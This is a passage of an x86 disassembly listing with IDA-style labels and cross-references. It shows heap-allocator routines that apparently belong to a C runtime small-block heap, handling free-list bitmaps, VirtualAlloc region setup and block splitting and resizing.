		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_24]
		and	eax, [edx+ecx*4+44h]
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	esi, [ebp+var_34]
		and	esi, [edx+ecx*4+0C4h]
		or	eax, esi
		test	eax, eax
		jnz	short loc_424985

loc_424950:				; CODE XREF: sub_424790+19Bj
		mov	[ebp+var_30], 0

loc_424957:				; CODE XREF: sub_424790+1F3j
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_24]
		and	edx, [ecx+eax*4+44h]
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	esi, [ebp+var_34]
		and	esi, [ecx+eax*4+0C4h]
		or	edx, esi
		test	edx, edx
		jnz	short loc_424985
		mov	edx, [ebp+var_30]
		add	edx, 1
		mov	[ebp+var_30], edx
		jmp	short loc_424957
; ---------------------------------------------------------------------------

loc_424985:				; CODE XREF: sub_424790+1BEj
					; sub_424790+1E8j
		mov	eax, [ebp+var_30]
		imul	eax, 204h
		mov	ecx, [ebp+var_38]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_4], edx
		mov	[ebp+var_20], 0
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_24]
		and	edx, [ecx+eax*4+44h]
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_4249D2
		mov	[ebp+var_20], 20h
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_34]
		and	edx, [ecx+eax*4+0C4h]
		mov	[ebp+var_1C], edx

loc_4249D2:				; CODE XREF: sub_424790+226j
					; sub_424790+259j
		cmp	[ebp+var_1C], 0
		jl	short loc_4249EB
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		jmp	short loc_4249D2
; ---------------------------------------------------------------------------

loc_4249EB:				; CODE XREF: sub_424790+246j
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+edx*8+4]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		sub	eax, [ebp+var_28]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 3Fh
		jle	short loc_424A1C
		mov	[ebp+var_14], 3Fh

loc_424A1C:				; CODE XREF: sub_424790+283j
		mov	edx, [ebp+var_14]
		cmp	edx, [ebp+var_20]
		jz	loc_424C40
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_424B0A
		cmp	[ebp+var_20], 20h
		jge	short loc_424A9F
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	ecx, [edx+ecx*4+44h]
		and	ecx, eax
		mov	edx, [ebp+var_30]
		mov	eax, [ebp+var_38]
		mov	[eax+edx*4+44h], ecx
		mov	ecx, [ebp+var_38]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_38]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_424A9D
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		and	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax], edx

loc_424A9D:				; CODE XREF: sub_424790+2F3j
		jmp	short loc_424B0A
; ---------------------------------------------------------------------------

loc_424A9F:				; CODE XREF: sub_424790+2AEj
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+0C4h]
		and	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+0C4h], eax
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_424B0A
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax+4]
		and	ecx, edx
		mov	edx, [ebp+var_18]
		mov	[edx+4], ecx

loc_424B0A:				; CODE XREF: sub_424790+2A4j
					; sub_424790:loc_424A9Dj ...
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+8]
		mov	edx, [ebp+var_10]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+8]
		mov	[edx+8], ecx
		cmp	[ebp+var_8], 0
		jz	loc_424C40
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx*8]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+var_C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_10]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_10]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	edx, [eax+4]
		cmp	edx, [ecx+8]
		jnz	loc_424C40
		cmp	[ebp+var_14], 20h
		jge	short loc_424BDA
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_14]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_424BB8
		mov	eax, 80000000h
		mov	ecx, [ebp+var_14]
		shr	eax, cl
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx]
		or	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax], edx

loc_424BB8:				; CODE XREF: sub_424790+410j
		mov	edx, 80000000h
		mov	ecx, [ebp+var_14]
		shr	edx, cl
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+44h]
		or	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+44h], eax
		jmp	short loc_424C40
; ---------------------------------------------------------------------------

loc_424BDA:				; CODE XREF: sub_424790+3EEj
		mov	eax, [ebp+var_38]
		add	eax, [ebp+var_14]
		movsx	ecx, byte ptr [eax+4]
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	al, [edx+4]
		add	al, 1
		mov	edx, [ebp+var_38]
		add	edx, [ebp+var_14]
		mov	[edx+4], al
		test	ecx, ecx
		jnz	short loc_424C17
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+4]
		or	edx, eax
		mov	eax, [ebp+var_18]
		mov	[eax+4], edx

loc_424C17:				; CODE XREF: sub_424790+46Aj
		mov	ecx, [ebp+var_14]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+var_30]
		mov	ecx, [ebp+var_38]
		mov	eax, [ecx+eax*4+0C4h]
		or	eax, edx
		mov	ecx, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+ecx*4+0C4h], eax

loc_424C40:				; CODE XREF: sub_424790+292j
					; sub_424790+39Cj ...
		cmp	[ebp+var_8], 0
		jz	short loc_424C5A
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		mov	[edx-4], eax

loc_424C5A:				; CODE XREF: sub_424790+4B4j
		mov	ecx, [ebp+var_10]
		add	ecx, [ebp+var_8]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_28]
		add	edx, 1
		mov	eax, [ebp+var_10]
		mov	[eax], edx
		mov	ecx, [ebp+var_28]
		add	ecx, 1
		mov	edx, [ebp+var_10]
		add	edx, [ebp+var_28]
		mov	[edx-4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, 1
		mov	edx, [ebp+var_4]
		mov	[edx], eax
		test	ecx, ecx
		jnz	short loc_424CB3
		mov	eax, [ebp+var_18]
		cmp	eax, dword_4F3AC0
		jnz	short loc_424CB3
		mov	ecx, [ebp+var_30]
		cmp	ecx, dword_4F3AB4
		jnz	short loc_424CB3
		mov	dword_4F3AC0, 0

loc_424CB3:				; CODE XREF: sub_424790+501j
					; sub_424790+50Cj ...
		mov	edx, [ebp+var_38]
		mov	eax, [ebp+var_30]
		mov	[edx], eax
		mov	eax, [ebp+var_10]
		add	eax, 4

loc_424CC1:				; CODE XREF: sub_424790+152j
					; sub_424790+178j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_424790	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424CD0	proc near		; CODE XREF: sub_424790+142p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4F3AC4
		cmp	eax, dword_4F3AB0
		jnz	short loc_424D2B
		mov	ecx, dword_4F3AB0
		add	ecx, 10h
		imul	ecx, 14h
		push	ecx
		mov	edx, dword_4F3AC8
		push	edx
		push	0
		mov	eax, dword_4F3AA8
		push	eax
		call	dword_4F54AC	; RtlReAllocateHeap
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_424D13
		xor	eax, eax
		jmp	loc_424DDB
; ---------------------------------------------------------------------------

loc_424D13:				; CODE XREF: sub_424CD0+3Aj
		mov	ecx, [ebp+var_4]
		mov	dword_4F3AC8, ecx
		mov	edx, dword_4F3AB0
		add	edx, 10h
		mov	dword_4F3AB0, edx

loc_424D2B:				; CODE XREF: sub_424CD0+Fj
		mov	eax, dword_4F3AC4
		imul	eax, 14h
		mov	ecx, dword_4F3AC8
		add	ecx, eax
		mov	[ebp+var_4], ecx
		push	41C4h
		push	8
		mov	edx, dword_4F3AA8
		push	edx
		call	dword_4F5418	; RtlAllocateHeap
		mov	ecx, [ebp+var_4]
		mov	[ecx+10h], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+10h], 0
		jnz	short loc_424D65
		xor	eax, eax
		jmp	short loc_424DDB
; ---------------------------------------------------------------------------

loc_424D65:				; CODE XREF: sub_424CD0+8Fj
		push	4
		push	2000h
		push	100000h
		push	0
		call	dword_4F54B4	; VirtualAlloc
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+0Ch], 0
		jnz	short loc_424DA2
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		push	0
		mov	edx, dword_4F3AA8
		push	edx
		call	dword_4F5414	; RtlFreeHeap
		xor	eax, eax
		jmp	short loc_424DDB
; ---------------------------------------------------------------------------

loc_424DA2:				; CODE XREF: sub_424CD0+B6j
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+8], 0FFFFFFFFh
		mov	eax, dword_4F3AC4
		add	eax, 1
		mov	dword_4F3AC4, eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+10h]
		mov	dword ptr [edx], 0FFFFFFFFh
		mov	eax, [ebp+var_4]

loc_424DDB:				; CODE XREF: sub_424CD0+3Ej
					; sub_424CD0+93j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_424CD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DE0	proc near		; CODE XREF: sub_424790+15Bp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	[ebp+var_8], eax
		mov	[ebp+var_28], 0

loc_424DFF:				; CODE XREF: sub_424DE0+36j
		cmp	[ebp+var_8], 0
		jl	short loc_424E18
		mov	ecx, [ebp+var_8]
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_28]
		add	edx, 1
		mov	[ebp+var_28], edx
		jmp	short loc_424DFF
; ---------------------------------------------------------------------------

loc_424E18:				; CODE XREF: sub_424DE0+23j
		mov	eax, [ebp+var_28]
		imul	eax, 204h
		mov	ecx, [ebp+var_2C]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_C], edx
		mov	[ebp+var_20], 0
		jmp	short loc_424E40
; ---------------------------------------------------------------------------

loc_424E37:				; CODE XREF: sub_424DE0+84j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax

loc_424E40:				; CODE XREF: sub_424DE0+55j
		cmp	[ebp+var_20], 3Fh
		jge	short loc_424E66
		mov	ecx, [ebp+var_20]
		mov	edx, [ebp+var_C]
		lea	eax, [edx+ecx*8]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_18]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_18]
		mov	[eax+4], ecx
		jmp	short loc_424E37
; ---------------------------------------------------------------------------

loc_424E66:				; CODE XREF: sub_424DE0+64j
		mov	edx, [ebp+var_28]
		shl	edx, 0Fh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		add	ecx, edx
		mov	[ebp+var_10], ecx
		push	4
		push	1000h
		push	8000h
		mov	edx, [ebp+var_10]
		push	edx
		call	dword_4F54B4	; VirtualAlloc
		test	eax, eax
		jnz	short loc_424E99
		or	eax, 0FFFFFFFFh
		jmp	loc_424FCA
; ---------------------------------------------------------------------------

loc_424E99:				; CODE XREF: sub_424DE0+AFj
		mov	eax, [ebp+var_10]
		add	eax, 7000h
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_4], ecx
		jmp	short loc_424EB8
; ---------------------------------------------------------------------------

loc_424EAC:				; CODE XREF: sub_424DE0+13Bj
		mov	edx, [ebp+var_4]
		add	edx, 1000h
		mov	[ebp+var_4], edx

loc_424EB8:				; CODE XREF: sub_424DE0+CAj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1C]
		ja	short loc_424F1D
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+8], 0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+0FFCh], 0FFFFFFFFh
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	dword ptr [ecx], 0FF0h
		mov	edx, [ebp+var_18]
		add	edx, 1000h
		mov	eax, [ebp+var_18]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_18]
		sub	ecx, 1000h
		mov	edx, [ebp+var_18]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_18]
		add	eax, 0FECh
		mov	[ebp+var_24], eax
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx], 0FF0h
		jmp	short loc_424EAC
; ---------------------------------------------------------------------------

loc_424F1D:				; CODE XREF: sub_424DE0+DEj
		mov	edx, [ebp+var_C]
		add	edx, 1F8h
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		add	eax, 0Ch
		mov	ecx, [ebp+var_14]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx+4]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+8], edx
		mov	eax, [ebp+var_1C]
		add	eax, 0Ch
		mov	ecx, [ebp+var_14]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx+8]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_14]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_2C]
		mov	dword ptr [ecx+eax*4+44h], 0
		mov	edx, [ebp+var_28]
		mov	eax, [ebp+var_2C]
		mov	dword ptr [eax+edx*4+0C4h], 1
		mov	ecx, [ebp+var_2C]
		movsx	edx, byte ptr [ecx+43h]
		mov	eax, [ebp+var_2C]
		mov	cl, [eax+43h]
		add	cl, 1
		mov	eax, [ebp+var_2C]
		mov	[eax+43h], cl
		test	edx, edx
		jnz	short loc_424FAD
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx

loc_424FAD:				; CODE XREF: sub_424DE0+1BCj
		mov	edx, 80000000h
		mov	ecx, [ebp+var_28]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_28]

loc_424FCA:				; CODE XREF: sub_424DE0+B4j
		mov	esp, ebp
		pop	ebp
		retn
sub_424DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424FD0	proc near		; CODE XREF: sub_423620+81p
					; sub_423830+BCp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, [ebp+arg_8]
		add	eax, 17h
		and	al, 0F0h
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+10h]
		mov	[ebp+var_30], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+0Ch]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		shr	edx, 0Fh
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		imul	eax, 204h
		mov	ecx, [ebp+var_30]
		lea	edx, [ecx+eax+144h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		mov	edx, [ecx]
		sub	edx, 1
		mov	[ebp+var_28], edx
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_28]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_28]
		jle	loc_4252F6
		mov	ecx, [ebp+var_10]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42505B
		mov	edx, [ebp+var_28]
		add	edx, [ebp+var_10]
		cmp	[ebp+var_1C], edx
		jle	short loc_425062

loc_42505B:				; CODE XREF: sub_424FD0+7Ej
		xor	eax, eax
		jmp	loc_4255B7
; ---------------------------------------------------------------------------

loc_425062:				; CODE XREF: sub_424FD0+89j
		mov	eax, [ebp+var_10]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_42507B
		mov	[ebp+var_20], 3Fh

loc_42507B:				; CODE XREF: sub_424FD0+A2j
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_42515D
		cmp	[ebp+var_20], 20h
		jnb	short loc_4250F2
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_20]
		mov	[edx+4], cl
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_4250F0
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx

loc_4250F0:				; CODE XREF: sub_424FD0+106j
		jmp	short loc_42515D
; ---------------------------------------------------------------------------

loc_4250F2:				; CODE XREF: sub_424FD0+C1j
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_42515D
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx

loc_42515D:				; CODE XREF: sub_424FD0+B7j
					; sub_424FD0:loc_4250F0j ...
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_28]
		add	eax, [ebp+var_10]
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	loc_4252D7
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1C]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_10]
		sar	edx, 4
		sub	edx, 1
		mov	[ebp+var_20], edx
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_4251B3
		mov	[ebp+var_20], 3Fh

loc_4251B3:				; CODE XREF: sub_424FD0+1DAj
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_18]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_18]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_2C]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_2C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_4252C3
		cmp	[ebp+var_20], 20h
		jnb	short loc_42525C
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_42523A
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx

loc_42523A:				; CODE XREF: sub_424FD0+252j
		mov	eax, 80000000h
		mov	ecx, [ebp+var_20]

loc_425242:				; DATA XREF: .packed:off_44F8E8o
		shr	eax, cl

loc_425244:				; DATA XREF: .packed:004547B4o
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+44h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+44h], ecx
		jmp	short loc_4252C3
; ---------------------------------------------------------------------------

loc_42525C:				; CODE XREF: sub_424FD0+22Fj
		mov	ecx, [ebp+var_30]
		add	ecx, [ebp+var_20]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_20]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_42529A
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx

loc_42529A:				; CODE XREF: sub_424FD0+2ADj
		mov	ecx, [ebp+var_20]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_30]
		mov	ecx, [edx+ecx*4+0C4h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_30]
		mov	[eax+edx*4+0C4h], ecx

loc_4252C3:				; CODE XREF: sub_424FD0+225j
					; sub_424FD0+28Aj
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_10]
		mov	[ecx], edx
		mov	eax, [ebp+var_2C]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	[eax-4], ecx

loc_4252D7:				; CODE XREF: sub_424FD0+1BBj
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	eax, [ebp+var_14]
		mov	[eax], edx
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_1C]
		mov	[edx-4], ecx
		jmp	loc_4255B2
; ---------------------------------------------------------------------------

loc_4252F6:				; CODE XREF: sub_424FD0+70j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_28]
		jge	loc_4255B2
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	edx, [ebp+var_14]
		mov	[edx], ecx
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1C]
		mov	[ecx-4], eax
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_1C]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		cmp	[ebp+var_24], 3Fh
		jbe	short loc_425347
		mov	[ebp+var_24], 3Fh

loc_425347:				; CODE XREF: sub_424FD0+36Ej
		mov	edx, [ebp+var_10]
		and	edx, 1
		test	edx, edx
		jnz	loc_425490
		mov	eax, [ebp+var_10]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 3Fh
		jbe	short loc_42536E
		mov	[ebp+var_20], 3Fh

loc_42536E:				; CODE XREF: sub_424FD0+395j
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_2C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_425450
		cmp	[ebp+var_20], 20h
		jnb	short loc_4253E5
		mov	edx, 80000000h
		mov	ecx, [ebp+var_20]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_30]
